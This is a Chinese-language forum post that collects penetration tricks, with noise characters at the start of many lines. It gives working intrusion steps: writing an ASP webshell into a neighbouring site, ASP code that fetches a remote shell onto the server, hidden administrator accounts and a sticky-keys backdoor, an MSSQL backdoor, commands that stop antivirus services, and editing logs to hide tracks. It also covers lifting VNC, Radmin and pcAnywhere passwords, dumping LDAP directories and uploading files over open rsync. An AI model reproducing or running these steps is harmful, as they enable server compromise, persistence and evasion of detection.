渗透技巧总结

admin

旁站路径问题
8 O! l* {: M: T% _* Y- ?2 @1、读网站配置。
5 \- x7 o4 t' k1 u2、用以下VBS
8 \8 y7 j. `; t* uOn Error Resume Next
6 v6 {0 X$ O( eIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
7 l1 G& ~. _5 A        
2 }; \# f* v3 B4 c7 [- c
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

9 _4 }7 r1 t" X% J- AUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
2 S0 X5 `0 g; F: L/ [End If
Set ObjService=GetObject

1 S; c+ l$ ~& p( Q("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
! `- p! o% x7 a, e8 P        If IsNumeric(obj3w.Name)

Then
3 k7 G- U- D- R8 W                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
( l- d. D' t6 ], g6 p         
- g' ]$ X/ O) o$ w
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
. W/ t7 _! Z: k
<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
9 W% F  |9 X! Z( h% k) U( o* e
OService.ServerComment & "]"
  h' O- D: r: n. E                For Each Binds In OService.ServerBindings
5 g3 @$ n( E7 X- Q9 v. u     
5 ^: w3 V( C5 ~  _, R8 F# C- X
4 a% |! {+ O$ G  f- ?1 y                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
0 p" q% A! Q( i% x$ K, g
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
0 g8 A- r5 I& T7 y6 ~& V: }                Next
      
9 p# h7 S& N9 R; D0 d
         WScript.Echo "ath            : " & VDirObj.Path
! I2 K8 K1 L, x6 ]" w        End If
2 K+ I  S4 G- N, ^Next
3 |7 I; n4 i# e+ c  J7 p+ ?复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
+ B  W& {# n! O3 e& @4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
7 z% [0 e+ F* x! k5 W3 }—————————————————————
+ n: [1 l! ?5 i( C8 CWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
0 m8 Z* I/ b0 `" C' K% h5 z7 X% yurl/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
9 B- U0 g' u* Z3 m- nphpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
& |. `! i+ o3 o7 y* L- W' t; ~: l) iphpmyadmin/themes/darkblue_orange/layout.inc.php
" z4 r0 d% Y. Z' v————————————————————
4 G! }+ r( G0 g* ]网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
) B. ^. m5 T. O5 s2 ?3 q/ |2 J. V+ anetsh ras set user administrator deny #禁止administrator拨入该VPN
1 Z2 N) y+ F, N  W! D! enetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
" f4 s9 m/ v  {( t  w命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
5 D% H6 a6 p0 k然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
2 n6 z2 c8 @) k, v# G7 k
另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
" S3 E8 z: S+ B9 ~( v! s" k' cz=o.create("test") ;
1 q/ e3 c0 g* j* s( m% t! g, K4 Uz.changePassword("123456","")
1 _& q) C1 e8 kz.setting("AccountType")=3;

vbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
6 q# S1 a) x$ ]: k% w! p——————————————————
. t" m( z6 I) g, R% ]cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
. s7 ]! F# i, z% z! d
# s4 r4 [) M; `命令如下
' |; H7 C! ~3 s# D$ ?; wcacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
& U0 f8 I  C9 y0 U5 za、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
3 _! A' o$ B) V' ~) Y1 a4 fb、内网环境（LCX）
" |  {5 K8 U  o: Ac、终端服务器超出了最大允许连接
6 `, h+ u1 f# A& qXP 运行mstsc /admin
- I3 L5 q7 L3 i# H2003 运行mstsc /console   
) ]7 u- l2 p: q5 z8 {' B
杀软关闭（把杀软所在的文件的所有权限去掉）
* s' c2 ^) R4 D0 d/ T处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
7 }' d3 X: W& S$ R; c! enet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
7 ~8 }$ V, T- R1 ~1 Wnet stop "Symantec Settings Manager" /y

+ B2 x( n. r& c3 u5 W卖咖啡：net stop "McAfee McShield"
————————————————————

. |  p( t. l0 y8 R. {5 H' r5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
6 F# b6 X' {1 N# Bcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
$ b/ d5 K* G' l8 K隐藏账号添加：
, e6 I, q7 ?- U+ ]1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
# }' `" d0 [/ _8 _1 O2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
6 w4 J. U; s4 y——————————————————————
/ _% e' @6 M1 u" H! _MSSQL扩展后门：
: B. s/ C; P, T* J7 |USE master;
5 G; H" s# W4 z1 \% S( Z$ @7 U) ~3 }EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
1 ]- F, p! f+ }$ h* u( P/ n  I2 O$ O, `日志处理
, \" B/ q/ ?( Y+ L+ i! t  b4 @C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
$ q$ \' ~3 O# h# \, C. v+ _" P) s. g用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
% ~9 G* L" V6 u7 {9 ?) {: K当停止msftpsvc服务后可直接删除ex011124.log
4 [- I' x$ j. b4 m; E4 S* |
% ?. H7 I: }0 O- ]  Q7 EMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
! v0 M, W1 w8 N# o9 c! q4 cHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
' `$ W: C& d0 @% S2 e- h0 Y找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

) K- b3 e! b- g# N$ L/ Q( JServer\90\Tools\Shell\mru.dat
—————————————————————————
7 X% _+ ?8 u7 B防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
( }3 r( J. ^% _' B
<%
3 R, S8 J2 ]; MSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
+ q+ g% E$ R! b$ A, Y% [0 ~# aEnd With
Set Retrieval = Nothing
. s  t* w3 Y: l$ GSet Ads = Server.CreateObject("Adodb.Stream")
. r- o: c8 r( q% UWith Ads
.Type = 1
; |* R2 J. j1 J* x/ h.Open
.Write GetRemoteData
, N$ Q/ k& ^2 T$ H, l1 l; ].SaveToFile Server.MapPath(s_LocalFileName), 2
8 S$ G& m' \: W5 u5 X.Cancel()
' Q# }1 Q- i$ ?  m$ j; N/ y.Close()
End With
Set Ads=nothing
End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
4 q9 w' C+ o# c" ?%>
8 @5 e4 Z% m* J6 y9 W
/ ?7 x! \  |$ y8 v4 P7 _0 SVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
4 S2 U' B9 m1 {4 x注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
# R$ T6 `; ]3 U1 V: Y3 |regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
' L* ~" |  B; }7 kregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
& d1 Y9 s7 c  F# e! @2 BHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
- j! h& A+ a0 b, ~( K然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
  g8 G0 z; W$ f& p——————————————————————
0 N7 J1 D+ R4 L$ [5 V搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
( c3 G. L* v% ]/ f# gWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
# x0 T: m+ C7 ^! n7 s来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
; i4 L5 V' Q. X: T: F没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
" @6 x% U( {1 w& ]$ t4 P
% K5 N. Q; `2 |1433 SA点构建注入点。
<%
& v$ e7 n! ?6 J; ?* _4 WstrSQLServerName = "服务器ip"
1 t3 C: z: [' \  ?+ J" M/ p1 w% t2 H- lstrSQLDBUserName = "数据库帐号"
. ?" V- Q- ?9 u8 [( q. N0 tstrSQLDBPassword = "数据库密码"
" L# a. `5 I4 y+ x  k. O3 W6 a* UstrSQLDBName = "数据库名称"
" T  Z  ?7 \& d  q" y: DSet conn = Server.createObject("ADODB.Connection")
. v) Z) X9 H* @+ P# C' [strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
) }' z$ B; o# {( i( h* b' [8 C
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
% E. `* {$ ?4 v8 N
strSQLDBName & ";"
: d0 u! e9 v& h, L5 hconn.open strCon
7 O2 n- G; m% s% Z' Ldim rs,strSQL,id
$ t9 e- x' c0 s+ A: [set rs=server.createobject("ADODB.recordset")
, _- H' ?4 q6 U1 oid = request("id")
/ Y* Q- A1 {: Q7 A5 YstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
; H6 J0 e8 w. D" n4 ~2 {  {%>
& a1 M% d4 S* z4 X2 c, q复制代码
) y: H2 j2 [! @4 ]; P******liunx 相关******
) ?3 [2 ]" n% u. p& L5 F1 N# V一.ldap渗透技巧
6 x1 k3 D- F6 L: p/ Z1.cat /etc/nsswitch
* w& h2 M; u( K, \$ e看看密码登录策略我们可以看到使用了file ldap模式
( S+ R. h1 |0 j6 Q* q$ C
  `( o( |% }8 p3 I$ Z1 g8 @2.less /etc/ldap.conf
3 o" S) X4 ?" x2 R( _base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

( z% u" O* T8 y6 x8 f9 {2 {3.查找管理员信息
匿名方式
# k9 A+ n/ }! U9 O+ f+ u, ~; ?ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
' [% p+ c7 O- L, u1 F
5 T* Q8 r$ a/ j3 b0 G"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
+ _' w* o8 N% l7 N* @8 J2 t! ^( Cldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
2 S; v' t- p  ^
: S" q& a' L+ c" `"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

0 x! _! J3 W/ x
( q7 J6 |( s- g0 U4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
' U8 O7 H, m8 y2 y3 u* J
实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
& Q. E* U! w2 I  ~' J1 _. ~找到ou,dc,dc设置

! b$ P8 w$ {8 ~9 `! T3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
; {/ Y! C, b9 [
3 I( ]- z2 G" e. D"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
: t! ]; I4 _4 W/ H) aldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
/ M1 T) ^& t# O: O

4 ?9 k7 a# d- Y, L1 I# |* T4.查找10条用户记录
; j2 x9 O5 V3 E  T% |* U' dldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
) k2 |- u: T+ _8 i! W& q
5 r2 p- {4 l+ u! j' B+ i- D渗透实战:
; R& c( m. l2 W' k+ f: _4 o1.返回所有的属性
# K  a8 w; R. u  Y0 E1 h4 H! H+ Z/ Jldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
, S% D+ E+ L4 |+ LobjectClass: domain

! a6 f2 V$ F( e+ h2 f0 d2 u  r6 Rdn: uid=manager,dc=ruc,dc=edu,dc=cn
# _$ F1 ]! n0 Guid: manager
: N& ^2 L0 r+ _3 ^% H4 KobjectClass: inetOrgPerson
objectClass: organizationalPerson
. O  ~! [4 Q8 @  TobjectClass: person
objectClass: top
sn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
& j! H# ~6 i) T9 T# YobjectClass: organizationalPerson
objectClass: person
! R+ f' I: x8 c5 t4 VobjectClass: top
sn: superadmin
cn: superadmin
& C9 z% `1 v5 O
dn: uid=admin,dc=ruc,dc=edu,dc=cn
; ?" J5 \; e- {5 z2 l2 Q4 Zuid: admin
5 U* K1 k, k% `1 i0 gobjectClass: inetOrgPerson
objectClass: organizationalPerson
& x2 s7 ?& `8 d' T7 KobjectClass: person
2 q; X( u' P% W9 j0 ]objectClass: top
$ N7 E$ b" B0 C$ t7 i  Qsn: admin
7 j  K1 |& s6 J+ I& o7 _cn: admin
3 C+ q# J- I, K& h' M2 `3 ]2 ^6 \
& x5 r8 t1 T* h- X. wdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
( C7 G8 i: s  J. J$ L6 p2 D4 juid: dcp_anonymous
5 Q1 x$ H1 O& R5 qobjectClass: top
objectClass: person
) S) d5 G6 S4 o/ V- E2 [objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous

. G* f5 K8 G) `2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
; j0 M) L/ j9 M, Y6 z2 O, Q
7 w2 i9 m* ?# r! I7 G, u$ H" j* Z8 fmore
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

+ `" v+ _/ B. f% F6 P& W6 O3.查找
. h# {% f3 K0 W: W; \. r1 r  M) L$ Wbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
) }9 c1 g6 S# Wversion: 1
- x8 I! T' X$ a! z, E9 ?dn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
# v% Y/ f6 w/ U+ ]supportedExtension: 2.16.840.1.113730.3.5.7
  S; H0 ]7 I7 ysupportedExtension: 2.16.840.1.113730.3.5.8
* m, ~4 ^, A' `2 n5 VsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
4 N" _) t9 Q/ {/ O9 ?2 C# qsupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
6 s  F1 a. r3 t) \( p( osupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
, H7 L6 f. @5 v( C7 X" A" `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
: j2 ^9 @/ `# @, g5 l9 CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
8 o/ i- g) B# y/ b! h3 a$ @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
$ U2 h. \2 @( {. R/ r/ usupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
% b' o) l: [, b8 osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
  F$ Q. M# Y8 {0 vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
7 o4 m0 [9 z; V2 W# d$ P8 tsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
2 j# C: k& k" H2 }, {3 xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
6 }0 I% w. Q8 v& @2 Y. _  nsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
- G3 ~/ T1 b  O" a0 zsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
% F, C1 d, a, h; ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
4 Z; g/ K1 C/ k. ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
# a# M" s; b& Z# W( w, d" _supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
/ T2 Z' n% F0 M+ dsupportedControl: 2.16.840.1.113730.3.4.4
  `  Y+ l3 X' b2 `8 P( u% VsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
& X! d* `; J5 U: W6 m0 {- lsupportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
7 a1 }* H% E+ WsupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
0 s( j& W+ f& P- Q# ~+ A0 r" @supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
3 e8 V2 @2 m$ M6 `, k0 MsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
4 l( ]. H3 B2 m) x+ R7 TsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
! z+ F5 E  Q0 z" s* i( z# [% [supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
- E& X7 j4 \+ i: C  u3 LsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
  w7 R+ A1 \# J# [* i# D. dsupportedControl: 2.16.840.1.113730.3.4.12
2 A" h; i. ?( j! u4 e5 `& vsupportedControl: 2.16.840.1.113730.3.4.18
; C; Y+ L+ w' v! g2 `9 p' m9 [3 S' AsupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
. |2 E- y5 M1 Q, A3 ~9 q  JsupportedSASLMechanisms: DIGEST-MD5
6 n' x& s$ A/ X9 ?# KsupportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
) H6 ~" M) |$ H8 ~( Ndataversion: 020090516011411
, C; {. r* o( inetscapemdsuffix: cn=ldap://dc=webA:389
6 I! U( H0 d, z* j  s, W$ ]+ DsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
6 n/ x$ x8 r0 F& K! [; I8 gsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
! ]8 {2 i" t% @" D- h* zsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
% ^' J/ v/ Z, b+ S' VsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
! D3 b5 M6 J. W: t3 z; k- hsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
- y% k: k/ e" }0 E) [% ysupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
8 C, }: k" D! G* xsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
  m9 R& F) I/ [% a5 E& o' osupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
# B) N9 A. F2 S6 Y/ j. d" ]supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
! Q4 B7 k( Z! a' MsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
1 B- G4 y! z$ @: ?supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
& A. N0 j. ?9 D: l! a5 J: XsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
" d0 x$ t8 y  y/ n) YsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
- E3 _+ L) `( `4 R1 \8 FsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
9 J( M/ J0 j1 b: o# K  m/ [+ ssupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
$ n; c$ v- Y+ a; a' e% x. _supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
8 s' k& W- e1 T2 Z! l! {supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
5 z  x# c4 E, i* h5 f9 ?supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
. O7 c: e4 q0 L3 K8 fsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
/ u9 O/ O$ x" j+ K& S' DsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
4 C  ]& C; b: z# ^* f1 N4 FsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
- V, O2 {$ ?8 y: N2 P) e& e( g+ z————————————
' o$ K/ r. M" \4 B- S2 }2. NFS渗透技巧
8 H  x% Y- N& Rshowmount -e ip
& O8 \% F: A& O5 R/ T# r列举IP
——————
; R& I# r& T* o; ?3.rsync渗透技巧
1.查看rsync服务器上的列表
0 z! n, N' A2 R: o9 frsync 210.51.X.X::
1 Y$ Q8 r" ]; A  F* S) Wfinance
, r# R" B! [1 e; t5 wimg_finance
7 q$ L1 z2 o- G# Lauto
5 _3 |5 X: C; [  w% {img_auto
html_cms
img_cms
ent_cms
ent_img
ceshi
7 ]4 j# A/ @! P% W$ Zres_img
res_img_c2
7 y9 G3 @6 K$ v; xchip
chip_c2
ent_icms
; u9 A* \. H# i! k+ K+ Ygames
gamesimg
- o. J) n0 t2 ~" M0 B; Lmedia
4 q6 j  ~7 z: n' Mmediaimg
# |% ~: e+ f+ r* p5 Yfashion
res-fashion
res-fo
taobao-home
res-taobao-home
house
" f  @$ y6 a5 t" c1 f/ h: ~" ?res-house
res-home
  \2 P3 b% s! \5 dres-edu
res-ent
res-labs
res-news
res-phtv
: {: O9 d8 |- Z" [! a; k1 Zres-media
3 P  ~/ B. k% `2 A2 n1 ehome
/ E% v, a0 W  i( f! xedu
news
, z/ x7 [* M4 y& d- i) G7 q; \9 G9 X5 ires-book

0 J, U% Q4 U& [) r, D; F' B看相应的下级目录(注意一定要在目录后面添加上/)


rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
! u6 u4 B% q* A7 A4 u; f6 p! }rsync 210.51.X.X::edu/

7 N' N+ |. `0 }& \2.下载rsync服务器上的配置文件
+ Y0 I0 D" v2 b9 `; v& R8 X  N% x; Trsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

0 l% F+ I# V! q3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

  P( t8 Z5 m+ k8 ~& j; w  n四.squid渗透技巧
" ?# y( [' X& F6 g4 w' h& Inc -vv baidu.com 80
1 L  j# v" e- I0 w: ?GET HTTP://www.sina.com / HTTP/1.0
3 [9 M. o$ J" i5 H3 L- P, ^9 nGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
. T& {6 M  W4 E( U( I
  }" j% J, b& A6 T4 o六.joomla渗透小技巧
4 ]9 `  J! I5 Y: B- Y! R1 b& f$ D确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

" V- ?; ]! H5 t15&catid=32:languages&Itemid=47

重新设置密码
index.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
7 q* Q; z2 k* d: m
八.freebsd本地提权
3 ^1 n: S6 T9 A0 S[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
